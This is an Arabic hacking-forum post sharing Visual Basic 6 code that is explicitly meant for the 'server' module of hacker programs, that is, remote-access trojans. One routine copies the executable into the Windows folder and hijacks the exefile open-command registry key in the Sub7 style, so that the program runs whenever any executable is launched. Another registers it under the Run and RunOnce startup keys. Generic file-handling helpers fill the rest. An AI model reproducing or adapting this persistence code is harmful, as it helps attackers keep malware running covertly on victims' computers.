--------------------------------------------------------------------------------
هي بعض الأكواد المهمة في برامج الهاكر
الكود الاول يجعل السيرفريعمللوحدة عند اعداة تشغيل الجهاز
ويجب وضعة بالموديل تبع السيرفر
-------------------------------------------------------------------------
كود PHP:
Public Sub NotKnown()
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:/windows/" & App.EXEName & ".exe"
Reg.RegWrite "HKEY_CLASSES_ROOTexefileshellopencommand", App.EXEName & ".exe " & Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
End Sub
Public Sub RemoveNotKnown()
' Removes the sub 7 like function
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_CLASSES_ROOTexefileshellopencommand", Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
End Sub
Public Sub Save(FileName As String)
If FileReal = True Then
If MsgBox("Overwrite File?", vbYesNo) = vbYes Then
DeleteFile (FileName)
'save file code
Else
'do NOT overwrite the file
End If
End If
End Sub
Public Function FileReal(FileName) As Boolean
On Error GoTo Error
If Dir(FileName) = FileName Then
FileReal = True
Else
FileReal = False
End If
Exit Function
Error:
Exit Sub
End Function
Public Function GetFileSize(FileName) As String
On Error GoTo Gfserror
Dim TempStr As String
TempStr = FileLen(FileName)
If TempStr >= "1024" Then
'In KB
TempStr = CCur(TempStr / 1024) & "KB"
Else
If TempStr >= "1048576" Then
'In MB
TempStr = CCur(TempStr / (1024 * 1024)) & "KB"
Else
TempStr = CCur(TempStr) & "B"
End If
End If
GetFileSize = TempStr
Exit Function
Gfserror:
GetFileSize = "0B"
Resume
End Function
Public Function GetAttrib(FileName) As String
On Error GoTo GAError
Dim TempStr As String
TempStr = GetAttr(FileName)
If TempStr = "64" Then
TempStr = "Alias"
End If
If TempStr = "32" Then
TempStr = "Archive"
End If
If TempStr = "16" Then
TempStr = "Directory"
End If
If TempStr = "2" Then
TempStr = "Hidden"
End If
If TempStr = "0" Then
TempStr = "Normal"
End If
If TempStr = "1" Then
TempStr = "ReadOnly"
End If
If TempStr = "4" Then
TempStr = "System"
End If
If TempStr = "8" Then
TempStr = "Volume"
End If
GetAttrib = TempStr
Exit Function
GAError:
GetAttrib = "Unknown"
Resume
End Function
Public Sub SetHidden(FileName As String)
On Error Resume Next
SetAttr FileName, vbHidden
End Sub
Public Sub SetReadOnly(FileName As String)
On Error Resume Next
SetAttr FileName, vbReadOnly
End Sub
Public Sub SetSystem(FileName As String)
On Error Resume Next
SetAttr FileName, vbSystem
End Sub
Public Sub SetNormal(FileName As String)
On Error Resume Next
SetAttr FileName, vbNormal
End Sub
Public Function GetFileExtension(FileName As String)
On Error Resume Next
Dim TempStr As String
TempStr = Right(FileName, 2)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 1)
Exit Function
Else
TempStr = Right(FileName, 3)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 2)
Exit Function
Else
TempStr = Right(FileName, 4)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 3)
Exit Function
Else
TempStr = Right(FileName, 5)
If Left(TempStr, 1) = "." Then
GetFileExtension = Right(FileName, 4)
Exit Function
Else
GetFileExtension = "Unknown"
End If
End If
End If
End If
End Function
Public Function GetFileDate(FileName As String) As String
On Error Resume Next
GetFileDate = FileDateTime(FileName)
End Function
Public Sub DeleteFile(FileName As String)
On Error GoTo DelError
Kill FileName
Exit Sub
DelError:
MsgBox "Error deleting File"
Resume
End Sub
Public Sub CopyFile(Source As String, Destination As String)
On Error GoTo CopyError
FileCopy Source, Destination
Exit Sub
CopyError:
MsgBox "Error copying File"
Resume
End Sub
Public Sub MoveFile(Source As String, Destination As String)
On Error GoTo MoveError
FileCopy Source, Destination
Kill Source
Exit Sub
MoveError:
MsgBox "Error moving File"
Resume
End Sub
Public Sub MakeDIR(Path As String)
On Error GoTo DIRError
MkDir Path
Exit Sub
DIRError:
MsgBox "Error creating Directory"
Resume
End Sub
Public Sub RemoveDIR(Path As String)
On Error GoTo DIRError2
RmDir Path
Exit Sub
DIRError2:
MsgBox "Error removing Directory"
Resume
End Sub
Public Sub CloseAllFiles()
On Error Resume Next
Reset
End Sub
-------------------------------------------------------------------------
مع تحيات :: (((((((( الملك المدمر ))))))))
------------------------------------------------------
--------------------------------------------------------------------------------
وهيي الكود الثاني كمان لازم يكوون في الموديل تبع السيرفر وهو لجعل السيرفر يعمل عند بدا تشغيل الكومبيوتر لوحدة
-----------------------------------------------------------------------
كود PHP:
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As _
Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _
ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias _
"RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As _
Long
Const KEY_WRITE = &H20006 '((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or
' KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Const REG_SZ = 1
Const REG_BINARY = 3
Const REG_DWORD = 4
Private Enum RunAction
Delete
RunOnce
RunEveryStartUp
End Enum
' Delete a registry value
'
' Return True if successful, False if the value hasn't been found
Private Function DeleteRegistryValue(ByVal hKey As Long, ByVal KeyName As String, _
ByVal ValueName As String) As Boolean
Dim handle As Long
' Open the key, exit if not found
If RegOpenKeyEx(hKey, KeyName, 0, KEY_WRITE, handle) Then Exit Function
' Delete the value (returns 0 if success)
DeleteRegistryValue = (RegDeleteValue(handle, ValueName) = 0)
' Close the handle
RegCloseKey handle
End Function
Public Sub RunAtStartUp(ByVal Action As RunAction, Optional ByVal AppTitle As String, _
Optional ByVal AppPath As String)
' This is the key under which you must register the apps
' that must execute after every restart
Const HKEY_CURRENT_USER = &H80000001
Const REGKEY = "Software\Microsoft\Windows\CurrentVersion\Run"
' provide a default value for AppTitle
AppTitle = LTrim$(AppTitle)
If Len(AppTitle) = 0 Then AppTitle = App.Title
' this is the complete application path
AppPath = LTrim$(AppPath)
If Len(AppPath) = 0 Then
' if omitted, use the current application executable file
AppPath = App.Path & IIf(Right$(App.Path, 1) <> "\", "", _
"") & App.EXEName & ".Exe"
End If
Select Case Action
Case 0
' we must delete the key from the registry
DeleteRegistryValue HKEY_CURRENT_USER, REGKEY, AppTitle
Case 1
' we must add a value under the ...\RunOnce key
SetRegistryValue HKEY_CURRENT_USER, REGKEY & "Once", AppTitle, _
AppPath
Case Else
' we must add a value under the ....\Run key
SetRegistryValue HKEY_CURRENT_USER, REGKEY, AppTitle, AppPath
End Select
End Sub
' Write or Create a Registry value
' returns True if successful
'
' Use KeyName = "" for the default value
'
' Value can be an integer value (REG_DWORD), a string (REG_SZ)
' or an array of binary (REG_BINARY). Raises an error otherwise.
Public Function SetRegistryValue(ByVal hKey As Long, ByVal KeyName As String, _
ByVal ValueName As String, value As Variant) As Boolean
Dim handle As Long
Dim lngValue As Long
Dim strValue As String
Dim binValue() As Byte
Dim length As Long
Dim retVal As Long
' Open the key, exit if not found
If RegOpenKeyEx(hKey, KeyName, 0, KEY_WRITE, handle) Then
Exit Function
End If
' three cases, according to the data type in Value
Select Case VarType(value)
Case vbInteger, vbLong
lngValue = value
retVal = RegSetValueEx(handle, ValueName, 0, REG_DWORD, lngValue, 4)
Case vbString
strValue = value
retVal = RegSetValueEx(handle, ValueName, 0, REG_SZ, ByVal strValue, _
Len(strValue))
Case vbArray + vbByte
binValue = value
length = UBound(binValue) - LBound(binValue) + 1
retVal = RegSetValueEx(handle, ValueName, 0, REG_BINARY, _
binValue(LBound(binValue)), length)
Case Else
RegCloseKey handle
Err.Raise 1001, , "Unsupported value type"
End Select
' Close the key and signal success
RegCloseKey handle
' signal success if the value was written correctly
SetRegistryValue = (retVal = 0)
End Function
-------------------------------------------------------------------------
مع تحيات((((((((((( الملك المدمر))))))))))))